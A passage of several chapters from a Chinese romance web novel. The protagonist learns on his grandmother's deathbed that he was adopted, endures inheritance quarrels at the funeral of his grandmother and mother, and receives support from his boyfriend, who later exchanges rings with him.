柏安看见的一瞬,心就像从高处猛然砸落般在胸膛里重重闷撞,顾不得白仲钺,推开车门就急急往家里走。
走近渐渐听见,家里有男人女人低低的说话声。
“柏安?”白仲钺站在忽然刹住的柏安身后,轻轻拍他的肩,“柏安?”
出事了。
这样的场景柏安见过。
村里有老人要去世的时候,家族里的亲人孩子会一起守着,等老人去世,所有人在第一时间哭灵烧纸。
因为村里有个代代相传的说法,哭灵越早,过世的人黄泉路上走得越顺。
现在只可能是奶奶要去世了。
他该赶紧进去,免得连最后一面都见不到,奶奶一定很想见他。
可脚偏偏不听使唤,不听安排。
会不会是做梦?
明明大前天打电话的时候还很精神,怎么可能忽然就不好了?
不要进去,不能进去,进去的话……
柏安像在原地踟蹰了足有几小时,可在白仲钺眼里只是几秒停顿,在他喊第二声时柏安就已经继续走了。
“吱——呀——”
大门被推开的声音在夜里显得格外清楚,院子里有人走出来看:“安哥儿?怎么这个时候回来了?快进!快进去!你奶撑着呐!”
柏安不知道自己是怎么进屋的,他觉得哪里不对,可一时又反应不出哪里不对,只被推拥着走到床前去。
一个多月而已,只不过一个多月而已,开学时明明还那么好,为什么现在,这么消瘦、苍老、脆弱地躺着?
“叫啊!快叫你奶!”床边一个有些年纪的短发女人把柏安往床边带,又对床上的柏安奶奶念,“老嫂啊,安哥儿回来喽,你睁眼看看,不是念了两天咯,你看看他。”
“奶奶,”柏安跪在床前,握住露在被子外的手,让粗砺的手掌贴在自己脸上,“奶奶,我回来了。”
“奶奶。”
“奶奶。”
“我回来了,奶奶。”
“我是安安。”
“奶奶。”
“奶奶。”
“奶奶。”
“啊……安安别哭……好孩子……”
干糙变形的手掌摩擦在湿透的脸上又涩又疼,可此刻于柏安没有什么比这份疼更珍惜、更贵重。
他想一辈子感受这份独一无二的涩和疼。
“不哭,不哭……”奶奶胸口起伏得厉害,说着不让柏安哭的话,自己浑浊的眼里却淌出泪来,“安安啊……怎么这么命苦……”
“奶奶,奶奶,”柏安在脸上抹一把,“没事,我们去医院,我打120,没事的,你会长命百岁的。”
“不怕,好孩子,不怕……你扶奶奶起来点……喘不上气……”
柏安和旁边的人一起扶起奶奶,在奶奶身后放了被子和枕头倚着。好一会儿,奶奶终于精神了些,喘气也不再那么费力:“你们都出去,我有话和安安说……”
后边有个一直没出声的女人忽然尖声开口:“娘,你有什么话敞亮说,都不是外人怕什么啊?”
女人旁边佝着腰背的男人碰了她一下:“都这个时候了,别和娘叫板,听娘的。”
“这个时候才要一码一码数算清楚,不然自家东西都归了野种……柏汉山你别扯我!”
“能闭嘴吗?”柏安才注意叔婶都在屋里,可全顾不上什么长辈什么懂礼,他眼白部分血丝遍布,从来都笑在话前的人此刻满面肃寒,目光里的冷意竟让女人一时愣住消声。
女人反应过来昂着胸又高声几分,像要用音量撑起方才矮下一节的气势:“这孩子怎么说话的!你死了的妈就这么教你的吗?啊?”
柏安四肢僵透,血骤然凉到头顶。
她说——什……么……?
“安安……”
“安安……”
柏安涣散停滞的眼球迟缓地动了动,屋子里的人不知道什么时候都出去了,奶奶攥着柏安的手,泣不成声:“安安啊……我苦命的安安……”
奶奶剧烈的咳嗽终于让他彻底回神,柏安急急扶住奶奶拍背顺气:“奶奶,你别急,你别着急……到底……到底怎么了啊奶奶……到底怎么了啊……”
“别哭,别哭……奶奶没时间哄你啦,安安啊,别哭……”
柏安脸上的眼泪抹了又出,索性不再管:“我们去医院,一定没事的,我去拿手机……”
“安安听话,没用了,让奶奶省点劲儿……”
柏安立刻不再动,紧闭的嘴阻不住喉咙深处的呜咽,只牢牢握着奶奶的手点头。
“你把箱锁开开……这把钥匙,你翻翻,被子最底下有个红布袋子,拿来……还有抽屉最底下的存折,拿过来……”
袋子里放了几件小孩衣服,衣服中间夹了个盒子。
“你爸当年出事赔的钱几乎全扔进了医院,剩下的零头和平时种地收成的余钱,都在这张存折里……算是你爸妈和我一块攒的,这么多年,就十三万多点……密码是你生日年份后三位和月份日子,你收好了,听话,放衣服里面……”
“这个红布袋子,安安啊……你、你是奶奶捡回来的……你爸妈一直生不出孩子,那年我在路上走,听见你哼哼着哭……猫儿似的,奶奶……就把你抱回来了……”
“你那时候看着像活不成,你爸说……养几天算几天,救不活也比被狗叼了好……没成想,不知觉的……就长大了……”
“后来有人来找过你……来人找你的时候,村里人给遮掩过去又来和我说……可那时候你都来家快两年了,病好了,长肉了,见人就笑,遍地跑着叫爸妈奶奶……奶奶舍不得啊……”
捡到柏安时柏安发着高热,卫生所的大夫说这孩子娘胎里就弱,病得太厉害,在小地方治不好,去大医院指不定要花多少钱,以后还不一定养得大,劝他们说没必要。但三个人对着小小的、软软的娃娃,谁都狠不下心不管。
那年头都穷,柏安爸妈借遍街坊亲戚,借车、借奶、借粮,从镇医院到县医院,从县医院到市医院,到底救回了几度要断气的柏安。村里都知道他们花了多少心血,所以对外人、对孩子,都不约而同地瞒着,哪怕有摩擦过节的人家也没在小辈面前提起过半个字。
听说有人来找时,柏安奶奶一时站不住,颤巍巍扶着墙根蹲下,过了会儿恍惚觉得身后被碰了碰,一转头,就看见小小的柏安费力拖着竹椅过来放在后面,让她坐。已经过了这么多年,那个画面却从没褪色,现在想起来心窝里仍旧热乎乎的,滚烫也酸涩。
滚烫而酸涩的眼泪淌下来,奶奶在朦胧间用力地细细看着柏安,几乎舍不得眨眼。
“你爸那时候为了赚钱出去打工,你妈去伺候病了的爹娘,回来才听说有人找过孩子……”
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>“她给了你两块钱,支开你去小商店买糖……哪想到你哟,去挑了半天,买回来副手套……说妈戴上,手不冷……”
“你妈抱着手套哭了一晚上,第二天硬是咬着牙去大路上和派出所打听着问……也是命啊……你妈没问到丢孩子的人,之后这些年也再没人来找过……其实就算再有人来,怕是你妈也舍不得了……”
“你妈命也不好……跟着老大受苦,老大没了守着寡又顾老的看小的……眼见你出息了……”奶奶声音变了调,嘴唇哆嗦不停,“连玉啊,我家连玉……她给我买药……我听见信赶过去……都没气儿了……天杀的开车的……他要是不跑,说不定还能救啊……”
柏安好像失去了反应的能力,他应该没有再哭了,眼前隔一会儿就出现一片白影,他都听见了,也听懂了,他手被奶奶握着,嘴半张,说不出话。
“说什么都晚了……安安啊……奶奶放心不下你啊,奶奶知道你懂事,大了,能自己赚钱交学费还能给家里……可奶奶,可……咳咳咳……咳——”
“奶奶!”眼前的血直直刺激到柏安僵硬的神经,“奶奶你别说了,你别急,别激动……”
“这布袋里的衣服,是捡到你的时候你穿的……盒子里这块玉……当时在你脖子里戴着……你收好,答应奶奶……找你亲生爸妈去……他们当年那么找你,该不是他们扔的……你……奶奶不知道能不能成,可你一定试试……啊,听话……”
“当年来人找时奶奶没把你送回去,是奶奶不好……你该过好日子的……苦了你了啊……可你爸妈是想你好,是真打算把你送回……咳咳……你以后要是有空,到坟上,给他们上柱香烧卷纸……奶奶对不住你,苦了你哟……”
柏安猛地摇头:“我不苦奶奶,我过得很好你们就是我亲爸妈亲奶奶……你别走……奶奶你别走,我孝顺你一辈子……”
“好孩子,叫他们进来……”见柏安只知道摇头,奶奶伸手摸过床边的拐棍,敲了敲窗。
实在没力气了,她从床里边的针线篮摸过个粗针锥,在被子底下狠狠扎进了大腿。
外边的人进来前,她把针锥在被子底草草一抹推到床缝,强起一口气撑起眼皮:“老二,你过来。”
“四妹子,堂兄弟,大侄儿……你们给老婆子做个见证。”
“我山上的老宅子,我和他爹名下的、连带着当年分家给老大家的田地林子,全给老二家,院子里的活物也都给老二,但……”奶奶喘了口气,又撑着劲继续,“这个宅子是老大家的,给安安,老大家留下的钱给安安,谁都不准动一毛!”
“老二,你是个依着媳妇长的软骨头,大小事依着媳妇这么多年,娘不怨你,但今天你给我跪下发个誓——我走了,甭管谁怎么闹腾,就按我说的办。田地林子、牲畜老宅,都给你,你出钱出力给、给我和老大媳妇办丧,别想着从安安那儿拿一分,也丁点儿不能亏着老大媳妇儿!咳咳咳……”
柏汉山刚要应,被身边女人一把拽住:“娘,你老糊涂了!把个外来的当心肝肉,救他条命养这么大就是他上辈子修的福气,还给他留钱!大哥大嫂留下的也是柏家的东西!凭什么往外给!”
“安安姓柏!他就是柏家的人!老大跟连玉拿他当亲儿子!他拿我当亲奶奶!他……咳咳咳咳咳咳……”
柏安扶着奶奶顺胸口,压着哭腔几乎说不清话:“奶奶我不要了……你别着急……”
“大人说话,小孩别插嘴……”奶奶竭力缓过劲,在柏安手背拍拍,又对柏汉山说,“老二,你爹走得早,我自从身子不好了就住在你哥家,你哥没了,你嫂子自个儿照看我,平时我吃的盐都没有一粒是你们的……能给你们的都给你们了,你就别难为安安……”
奶奶粗喘口气,忽然攥起拳重重捶床:“柏汉山!你但凡还有半点儿良心!!”
柏汉山顺了媳妇一辈子,第一次甩开拦着自己的手,他直直跪下膝行到床前:“儿子不孝啊……娘,儿发誓,柏安的宅子和钱绝对不动,给你跟嫂子把事办得好好的,娘!娘啊……”
“好,好,你记着,我在天上看着呢——!”
一口气高高扬起卡在半空,围着的人纷纷上前,柏安死死攥着那只苍老的手,好像周围一切都不复存在,好像只要握着这只手,一切就还有挽回的余地。
“安哥儿!安哥儿!快喊两声让你奶安生走吧!”
再次躺下的人双目紧闭深陷,两唇暗乌,只能听见重重的出气声和低低的哼声。
“脸都憋紫了,快说啊!你奶记挂你!你说几句,让她放心!”
柏安几次张嘴都发不出声,最后趴到奶奶耳边去,说:“奶奶,我是安安,我听你的话,找亲生父母。”
“你别担心,就算找不到也没事,我能赚钱养活自己。”
“奶奶,你记得白仲钺吗?他会照顾我,会对我好一辈子。”
“奶奶,你放心……你放心……”
哭灵声起,回荡夜间。
柏安怔怔半晌,抖着指尖,碰了碰奶奶耳垂上静止的素银圈。
39.葬
天际浓黑渐淡,烧纸的灰烬随着火舌与风飘动,半刻未歇的哭灵声自院内延至街边。
柏安满身麻孝去迎回因怕冲撞奶奶而暂停宗祠的妈妈的木棺,进门时脚下一绊,将将摔倒时被一双有力的手扶稳了。
“白仲钺……”
“嗯,”无数话哽在喉口,却没一字合宜,没一句有用,白仲钺定定看着憔悴的柏安,只说,“我就在后面。”
白仲钺胳膊上系着白布,联系了学校给柏安请假,让司机到镇上去自己找地方歇,柏安周边人少时就离他近些,人多时就站得远点,但一直没错开过视线。
他只见过柏安的奶奶和妈妈一次,就难以接受她们忽然离世的事实,何况是柏安。
何况是,柏安。
随着时间推移,院里人越聚越多,灵堂、棚子、茶水、桌椅……每个人都忙碌,每个过来的人都要到灵前留几声哭喊,但白仲钺感受到的所有悲恸,都源自跪在火盆旁不声不响的柏安。
“来人丧钱才多少?你答应出钱办我没答应!他自己妈凭啥咱们出?照理你娘丧事也得一家一半摊!”
“他婶子,你这话说得可不对,怎么不说他奶留下的东西田地也一家一半?”
女人一挥手,唾沫直往旁边人脸上喷:“你掺和什么?他家死绝了凭啥分给?”
“行了!”柏汉山在地上敲敲烟杆,站起来,“我应了娘给办,就办,你愿意干就干,不愿意就回家去,别在这闹。”
“你个蠢出天的!干做傻子!不知道谁是为你好!我——”
“婶子,”柏安不知道什么时候站在了旁边,毫无血色的脸被披着的白孝服衬得愈发惨白,他静站着,声量平平,却让一遭吵闹渐次消弭,“前天晚上我妈出事,奶奶进医院,没人告诉我。”
“那、那是忙着照看你奶!死人能比活人要紧了?”
“医院不留奶奶,昨天送回来,一整天时间,奶奶念着我名字。有人问起,你说自己一早就给我打过电话,说我有事没赶上车,当天回不来。”
“我早上给你打没通!我那是怕你赶不上车随口一说!你自己没接着怨谁?”
“就为了钱……”柏安喃喃自语,忽然苦笑出声,一时无话。
“指不定是信号不好!这谁说得准?再说了,我把你妈撞死的吗?啊?”
长这么大柏安第一次觉得恨谁,情绪在兀自理直气壮的嘴脸面前破闸而出:“就为了钱不想让我见奶奶最后一面?就为了钱我妈死都不告诉我!你凭什么?你们凭什么!!”
周遭鄙夷的眼光和议论戳了女人痛脚,她扬着手就冲着柏安去:“你个野种还真把自己当柏家人!你——”
高举的手被生生截断,白仲钺挡在柏安面前攥住那只胳膊:“有话说话,劝你别动手。”
白仲钺的个子和手劲太有压制力,女人仰视几秒讪讪退后两步,忽然又觉得丢人要挽尊似的推了柏汉山一把:“你是死的啊!别人要打你家的你都不管!”
“行了,”柏汉山闭眼又睁开,“办丧才花多少,娘留给咱们的东西够多了,里边还有大哥的,按理我都分不到一半……”
“你哥死了!咱家养柏安养二十年还得倒贴吗!你哥就你一个亲兄弟你娘就你一个活儿子!你娘的你哥的他们死了就该都是咱们的!”
“够了!”那一巴掌打出去柏汉山才反应过来自己干了什么,他唯喏了一辈子,懦弱了一辈子,哪怕遇见不赞同的也习惯了自己捧抷土盖好,居然到亲娘走了才醒过几分神挺起半截腰,“够了……柏安长这么大不是咱们养的,没一粒米是吃咱们的,吵吵算计一辈子了,让我娘安生去行不行?”
“你打我?你他娘的吃错药了敢打我!”
“我今天把话放这儿,让我娘我嫂子安安生生走,咱们关起门来什么都好说,你再咋呼一句,咱们就分开过!我看你能拿着多少!”
“你……柏汉山你真有本事!”
灵前唱家丑,能让人背里说道几年的闹剧。
柏汉山看着自己顺了一辈子的人跑出去,看着一张张熟脸露出尴尬或不忿、惊异或看戏的表情,站了会儿,最后硬是扯出笑来:“让大家伙儿见笑了,都喝茶歇歇,晚点我娘跟我嫂子出丧还得大伙儿受累。”
太阳再高些,柏汉山到柏安跟前去:“你是儿孙,得跪迎人,等会儿有人端纸扎物件来,院里的人也有些回去再来,你得挨个磕头,这是替你妈你奶奶拜。”
“我知道,”柏安以前见过,垂眼答应,“丧事怎么办我不懂,一切麻烦叔费心了。”
柏汉山一下没能说出话。他是亲儿子,眼前这个外头捡来的人,却比他更像亲儿孙。他抬手拂掉柏安肩上的纸灰,哑声说:“你叔婶吃了几十年的饭,还没晨晨懂事,叔……对不住你。”
“哥……”柏晨见自己爸爸和柏安说了话,没起冲突才敢上前来,“哥,我替我妈向你道歉,对不起。”
柏安摇头,还是说:“不用。”
“哥,去那边喝点水吧,你嘴都裂了。”
“谢谢,”柏安由衷说,“谢谢你打电话给我。”
“我早些时候不知道,”柏晨又哭出来,“是我妈不好……”
“你进屋里吧,我该去迎人了。”
原来跪迎,是来一个人,就跪一次,磕一个头。
柏安身后不能站人,白仲钺只能在侧边远处,看柏安一次次直直跪到地上,一次次磕头,一次次听来人说“节哀”。
水泥地,柏安腿上一条裤子一件孝服,只有薄薄两层布。
白仲钺站在那里,心随着膝盖撞地的声音不断抽紧,牙关咬到酸疼。
“我哩闺女哟——我苦命哩闺女——”
隔一会儿就会有人哭唱着进来,白仲钺没察觉异样,看见进门的老人朝柏安扑过去时已经来不及了。
“都是你个丧门星——!”
老人的手干了几十年农活,满是老茧裂口,又厚又硬,裂开的口子刮在脸上像数柄小刀,竟然把柏安眼皮侧脸划出了血。
“要不是你,连玉不能守这些年活寡啊!为了你个捡的,搭了这辈子!搭了命啊!”
白仲钺没办法和老人动手,只能把柏安护在怀里,好在有人上前来把老人拉扶住。
“是不是疼?”白仲钺声音都抖了,眼和柏安脸上的血一样红,“不跪了,我们不跪了……”
“连滴眼泪都没见着……妹子真是傻透了气儿……谁是舅,我妹子不是他妈……”
柏安被打时被抱住时一直没反应,杂乱里听见这两句才嘶声反抗起来:“我妈不傻!她就是我妈!”
“我苦命哩闺女哟——叫我白发人送黑发人啊——”老人被儿子扶着往里走,到棺边哭得站不住,到最后跌坐下去拍着地哭,“这么些年啊,你总算没养个白眼狼……闺女啊——也不值当啊——娘这些年给你找了多少好人家啊,我哩闺女哟——”
柏安脸上的血好一会儿才擦干,没有创可贴,破皮的两处就露着,能看到混着血丝的肉。
白仲钺什么都不想管了,他手臂抄过柏安膝弯,又被按住。
“我要跪,”柏安挪开白仲钺的手,“我要好好送奶奶和妈出丧。”
柏安一直在跪,从家里起起跪跪无数次,又几步一跪跪到下葬。
从嘈杂喧闹跪到人散声消,从日光大亮跪到月上树梢。
白仲钺扶住柏安摇晃的身子:“我们回去了,好不好?”
“奶奶说,我是她捡来的。”
白仲钺白天时在你来我往的话里知道大概,轻轻应了一声。
“一二年级的时候,钱比现在值钱,几块钱也要算着花。我爸给人盖房子抗沙袋,有活干的时候一天赚四十块。”
“村里有个小孩老来我家写作业,他带着新买的铅笔盒,特别大,有专门放橡皮尺子的格子,有钢珠迷宫
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,里边还印着乘法表,正反两面都能用。我羡慕死了,有时候趁那个小孩去厕所就偷偷摸两下。”
“我爸看见了,问我想不想要,我说不想。可没几天,一个小考试,他买回来一个比那个小孩还好的铅笔盒,说奖励我的。那个铅笔盒的转笔刀带折叠手柄,有抽拉暗盒,还有米老鼠的夜光灯,四十七块。”
白仲钺半跪在柏安身边,手臂在后边扶住肩背,安静听他说。
“我小时候身体特别差,经常发烧感冒,一吃药嘴里就发苦,再小点的时候吃下去的药都能苦得吐出来,只能打针。”
“有一次夜里发烧,下雨,我吃不下药,我爸不在家,诊所不开门。我妈背着我去大夫家里叫门,赔着不是带我打针。家里就一件雨衣,她把我裹得严严实实的,自己只戴了个帽子,我退烧的时候,她烧得走不成路。”
“初中毕业的时候我爸去世没多久,家里拮据,我想去县城当小工赚钱,我妈说我考的高中好,不专心学习以后会跟不上,卖粮食给我报了补习班。”
“高中毕业不用补习了,很多同学去厂里干暑假工,我也想去赚学费,妈和奶奶还是不让,说等大学毕业了工作的日子还长,说我上学辛苦,要我好好玩。”
“村里考上大学的人,只有我买了笔记本电脑。很多人觉得男孩养得糙点无所谓,但我从小到大的衣服、鞋子、书包,都是所有小孩里最干净的。”
“我每年冬天的棉袄、棉裤、棉鞋,都是奶奶做的,衣服破了也是奶奶补的。过年串门,她在人家屋里碰着没见过的糖,就拿一块放在口袋里回来给我尝。”
“我出去上学,家里来人带的点心她舍不得吃,放在橱子里等我回来开。一直到现在,她有时间就给我纳鞋垫,怕我以后不够用。”
“你说,我怎么会是捡来的呢?”
“奶奶让我找亲生爸妈,可是,我从小到大只有一个爸一个妈,他们就是我亲爸妈啊……”
“我没有爸,没有妈,没有奶奶了。”
几座旧冢新坟挨在一起,只剩下跪着的柏安自己。
白仲钺干咽几下,不知道该说什么。
他想说“还有我”,可这话薄弱又无力,他替代不了任何一个人的分量,减轻不了任何一个人离世带来的痛楚。
可他除了这句,没有任何话能说。
“节哀”是浮于表面的礼节客套,“别难过”是谁都做不到的空话,到最后,他能说的还是只有这句。
“还有我。”
柏安指尖碰了碰炉里松松堆砌的香灰,收回手时碰到炉壁边沿,像又碰了一次奶奶的耳环。
“奶奶走前,我和她说,你会照顾我,会对我好一辈子,让她放心。”
白仲钺撤开一点距离,跪正,举起右手:“我白仲钺发誓,一定好好照顾柏安,照顾他一辈子,对他好一辈子,爷爷奶奶,叔叔阿姨,你们放心。”
柏安眼睛干得厉害,眨眼时能听见“吧嗒”声,他看着地上随着白仲钺磕头晃动的浅影,忽然想知道,去世的人能不能听见坟前的话。
如果听得见,是不是能放心了?
“我们回去好不好?我刚保证过要照顾你,别让我食言,嗯?”
没有灯,月光浅淡,手机电筒照出方寸亮处,白仲钺走在前面牵着柏安,走出小段,拐弯时柏安冷不防膝弯一软跌了下去。
饶是这块只有半米高白仲钺也惊出来一身冷汗,之后任柏安怎么不同意都把人弄上了背。
树叶被风扫出“沙沙”声响,草丛里不时传出虫鸣,柏安听着脚步声和呼吸声,埋在白仲钺颈间闭上眼睛。
“白仲钺。”
“在这儿。”
“白仲钺……”
白仲钺把柏安向上托了托:“在这儿。”
良久无言。
直到山路走完,月亮偏移,闷闷的声音才又响起。
“我好难受……”
40.戒指
又是夜半,又是清晰突兀的开门声。
只不过这次满院空落寂静。
柏安在这一刻才发现,未知、忐忑、恐慌、焦灼都不是最难熬,因为那至少代表着还有另一种可能性,哪怕微乎其微。
秋风刺冷,在预示寒冬。
白仲钺把屋里的外套拿出来给柏安披上,柏安看他还是一件黑毛衣,问:“你的外套呢?”
“放车上司机带走了,没事,不冷。”
柏安脱外套是为了穿孝服:“你脱外套干什么?”
“肩膀有条红杠。”
柏安眼眶一涩:“那件不是能反穿吗?”
“嗯,”白仲钺在他头上揉了下,“在里面也不行。”
柏安转过头去站起来:“我去给你找一件。”
他应季的衣服大多在A市,家里的两件和自己身上的白仲钺穿都不合适,开另一个柜门时,柏安看见了最边上挂着的一件外套。
那是他爸的,洗净熨好,在柜子里挂了几年。
“你不介意的话,穿这件吧。”
居然很合身。
板正规整的旧款式,柏安看着熟悉的衣服心口酸热,笑了笑:“像老干部。”
“想哭也没关系,可以哭。”
柏安摇摇头:“没有,眼睛很干。”
“那也不要笑了,”白仲钺无声叹口气,俯身把他抱住,“眼睛干就闭上,我带你去休息,好不好?”
“想出去坐会儿。”
“好,那出去坐会儿。”
“不是这么凉,暖和点的时候,奶奶、妈和我经常坐在这儿,三方会谈一样,我喜欢坐台阶,她们坐马扎,大概就在那个位置,中间摆一个小桌,放一个壶给奶奶泡茶叶,再放两杯清水和一个热水瓶,夏天的话,有时候会放几块西瓜,一人手里拿一把蒲扇赶蚊子。”
风不知道什么时候换了方向,朝两边敞开的网纱门有一扇被吹关回来,柏安坐得矮,略微往后一仰看天,网纱门下缘直接撞在了柏安头上。
“砰”的一声,把旁边的白仲钺都吓了一跳。
“碰哪儿了?是这儿吗?”
以前柏安被这样撞过,他总喜欢坐台阶,有时候网纱门开着风一吹就容易撞头。撞了一次之后奶奶不让他坐那儿,他还是喜欢坐,之后妈就去买了弹簧装在门上,每次开窗纱门都能自动弹回去,免得打开忘记关。
大概是白天有人觉得进出麻烦,把弹簧拆了。
白仲钺被不说话却顷刻流了满脸泪的柏安弄得乱了阵脚:“是不是疼?是这儿疼吗?”
柏安根本说不出话,被挤到边角的委屈、不断膨胀的难过与巨大的无力感卷作一团,毫无征兆铺天盖地浩浩荡荡压过来。网纱门那一下撞断了撑到极限的神经,不久前还干涩的眼睛现下像蓄水池被开了闸。
明明似乎是那么无关紧要的一件事,可在发生的瞬间,忽然就彻底崩溃了。
白仲钺不受控制地落下眼泪来,把柏安环在怀里放任他哭到声不成声:“哭吧……”
“好好哭一场,会……”
白仲钺话音滞住,抱紧柏安,低头久久吻在他染湿的发上。
只紧紧抱着他,没再说话。
-
是隔天才发现,柏安的腿摔伤了。
山上摔的那一下位置不高,可下面有石头。当时天黑,又有草掩着,柏安没说,白仲钺没发现。
又是骨裂,又是右小腿,新伤叠旧伤。
柏安那么怕疼的人,整晚都没喊一句疼,甚至走路时伤腿都没收力,半点看不出受伤的样子。
白仲钺根本没有办法想象该多疼。
医生反复强调要好好养,不然万一落下病根阴天下雨都会疼。
白仲钺给柏安请了长假,自己尽量缩减在公司的时间,能带回的工作就带回,能在家吃饭就在家吃饭。
肇事司机已经入狱,各项赔偿金共计117.7万元,柏安作为第一顺序赔偿权利人,自愿放弃自己的部分,所有赔偿全部归属受害者母亲。
老人声称自己不是柏安的姥姥,却不肯接受该属于柏安的那一份,经儿子同意后连判给她的赡养费都不肯要。她说她的闺女一辈子记挂柏安这个儿子,如果柏安过不好,闺女在天有灵不能安心。
反复拉锯只是徒增悲切,白仲钺清楚柏安是真心想把赔偿金给姥姥,也是真的无法接受这笔钱,于是几次出面交涉,最终按照柏安的心意落定。
林林总总,诸多事项,除了必须由柏安本人签字到场的情况,白仲钺一应代办。
他尽可能地陪着柏安,尽管柏安看起来状态调整得还不错,没有走不出,没有不振作,可白仲钺知道,自从家人去世,柏安没有睡过一个整觉。
躺在床上很久才会睡着,经常做梦,经常凌晨醒来,经常呓语。
以前没睡熟的时候白仲钺松开手柏安会不自觉地找他,现在没睡熟的时候白仲钺有点动作柏安立刻会醒。
直到确定人睡熟了,白仲钺才放轻动作从卧室出来。
高中没毕业他就开始接触公司事务,但一直没着急过,懂的会的只是一部分,现在要在短时间里接过来要学要看的东西太多,必须要耗时间精力进去。
白仲钺把电脑放在茶几,自己坐在垫子上,卧室门留了一条缝,以免柏安醒了自己听不见动静。
布莱克原本在窝里睡着,听见动静晃晃悠悠到白仲钺身边来,白仲钺正喝水,见它过来放下水杯在他后颈捏了捏,轻声说:“没事,睡觉去吧。”
水杯放得有些靠边了,布莱克用鼻子在杯壁顶了顶,不想反而弄了下来,白仲钺差点趴在地上,险险接住,没管地上的水先小心翼翼把水杯放到茶几中间去。布莱克原地碎步打转,爪子在有水的地方踩几下又凑近白仲钺:“呜……”
白仲钺直接把它嘴筒握住了:“嘘——好不容易睡熟了,别出声。”
布莱克眨了眨水汪汪的单只眼睛,喉咙里发出一点细微声响,白仲钺慢慢松开手,看它没有想再叫的意思长松一口气:“乖,明天给你做肉吃。”
布莱克眼睛一亮,一声欢快的“汪”还没出口就又被握住嘴筒,最后只能低低哼一哼,委委屈屈回窝里趴下了。
-
请假这段时间很多人发消息问,大都回复解释过就不聊了,平时发消息多的,只有郝昕元睦和,还有法思青。
法思青刚入学搬进宿舍没两天就对柏安说过喜欢,在柏安拒绝说自己有男朋友的时候还表示如果柏安和男朋友分手了记得找他。柏安没好气地回了句:“那你孤独终老吧。”
其实倒没有真的生气或者反感,法思青这个人像只热衷抖擞毛的花孔雀,喜欢说得轻佻又不算冒犯,而且在柏安回绝后就没有过任何明示暗示,再加上同班“同寝”,法思青有时候发消息柏安也就正常回复。
但之前聊天毕竟不多,最近请假,法思青知道柏安回来A市之后几乎一天不落地发消息,还一直让给地址来慰问。法思青说喜欢的事柏安当时和白仲钺说过,只是那句喜欢轻飘一晃,两人都没太放在心上,现在这样来回发消息,虽然都是同学间闲聊,可柏安还是觉得不太好。
上次吵架不就是从几条聊天消息开始的吗?
柏安跟着课时进度做完作业就捧着手机等白仲钺回来“坦白从宽”,没想到白仲钺粗略一看,只是揉着柏安笑。
他不在意柏安就不满意了:“你一点不生气啊?”
“你对他又没想法,正常聊天,我生什么气。”白仲钺是真的没有觉得不舒服,只要柏安不喜欢别人,多少人喜欢柏安都没关系。
他甚至开始希望所有人都喜欢柏安,希望所有人都对他好。<
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p>柏安把手机抽回来:“行吧。”
“也不能聊太多,我吃起醋来可酸了,” 白仲钺把柏安抱在怀里,他最近经常这样,在身边就把人抱住,“如果你想可以让他们过来玩。”
“不了,嗯……想回去上课。”
“等全养好吧?”
“已经好很多了,我多注意,行吗?”
柏安都这种语气问了,白仲钺哪里能说出不行。何况总在家待着也不好,去上课或许能分散一下情绪。“好,我时间不合适的时候就找人接送你,不准不同意。”
“你不用一直担心我,安心好好工作,我已经没事了。”
“不想工作……”
柏安被白仲钺难得的抱怨逗得生笑,伸手给他捏了几下肩:“辛苦男朋友了。”
“全是老狐狸,就我一只小羊羔。”
“你?小羊羔?”
“披皮款小羊羔也是小羊羔,”白仲钺脸埋在柏安脖子里蹭了两下,忽然问,“快点想想自己把什么忘了,想起来我就大人大量不计较。”
“什么啊?痒……”柏安刚一躲,忽然想到什么,立刻去拿手机,“今天几号了?”
十月三十一。
昨天是白仲钺生日。
已经过了。
昨天早上白仲钺走得早,晚上又有个不能不参加的饭局,回来时柏安已经在沙发上困得有些迷糊了,白仲钺直接把人抱回了卧室。
柏安其实前些天看日期时还在心里提醒了白仲钺生日,可不知道怎么,时间虚虚飘飘的,忽然就过去了。
其实如果不是怕时间越长柏安想起来越自责,白仲钺根本不会专门提生日的事。他知道柏安这段时间多难过,生日不生日,比不过柏安睡个好觉。
“对不起,我……唔……”
“没有对不起,我们之间不用对不起,”白仲钺拇指把他嘴唇的湿润抹掉,“不然这样,以后你想道歉的话,就像刚刚那样亲我一次,我回应你,就代表没关系,事情翻篇,怎么……”
白仲钺眨眨眼,第一次知道,原来被强吻的滋味这么不错。
“我有准备礼物,很久之前就准备了,你等一下。”
“哎——”白仲钺急急扶住柏安,“慢点儿。”
“你就在这儿等,不能偷看。”
“好,不偷看,你慢点走。”
是个不小的盒子,两个人有各自放东西的地方,不知道柏安藏在哪儿了,白仲钺竟然一直没发现。
打开盖子,里面是个小一号的盒子,盒子上写了字,【没想到吧略略略】
白仲钺一下笑出声。
第二个盒子打开还是盒子,【生日快乐[心]】
第三个盒子打开,【你猜还几层】
第四个盒子打开里面的盒子就已经很小了,【[上边一个M下边括号加三个点的经典柏安表情]:到了到了】
第五个盒子打开,是张便签,【这张是临时加的,我保证,以后一定会记得你的每一个生日】
便签拿掉,是两枚戒指。
戒面上刻的两个字母挨在一起,Y,A。
白仲钺张口:“呀。”
柏安给了他一下:“这个梗还能不能过去了。”
“我确实惊讶啊,”白仲钺笑着握住柏安的手腕,“抢在我前面了。”
他看过男款对戒,只是被意外打断,后来又考虑到柏安的心情,所以一拖再拖。
“表白的时候你先了,这个就我先,”柏安拿出那枚刻着A的戒指,“我想和你求婚,虽然我们不能结婚,但是,我想和你过一辈子,你愿意吗?”
“愿意,”白仲钺伸出手,“荣幸至极。”
另一枚戒指被推到自己指根时,柏安看着那个小小的Y,忽然哑了嗓子:“白仲钺……”
“我只有你了……”
41.一些人
似乎是从那天起,白仲钺开始这样叫他的。
“安安?听得见吗?”
“啊,听得见听得见,我一会儿和郝昕法思青袁韬元睦和还有他女朋友去吃饭,晚点回去。”
“好,一会儿发地址过来,我这边结束去接你。”
“不用接的,我自己回去就行,腿刚好,我不喝酒。”
“等我下,”那边好像有人过来问什么,白仲钺放远了手机,大概不到半分钟声音又近了,“回来了,如果结束比你早的话就去接你,记得接电话。”
柏安听见最后加强语气的半句,表示很冤枉:“你用别人手机,我看见是陌生号才没接。”
前几天柏安在几个平台发了寻亲信息,结果不停收到各种电话,推销的、好奇的、说让他出钱给帮忙找的,甚至还有问那块玉卖不卖的。后来柏安把信息里的联系方式都删除只留了邮箱,最近看见陌生号码柏安都不接了。
白仲钺手机落在会场,怕柏安联系不到着急,借用助理手机打电话过去一直无人接听,最后发了短信柏安才打回来。
最近白仲钺公司在竞标一个政府项目,忙得要命,这些不怎么重要的事柏安都没提:“好了,你好好工作,记得吃饭,我挂了,等和他们吃完打给你。”
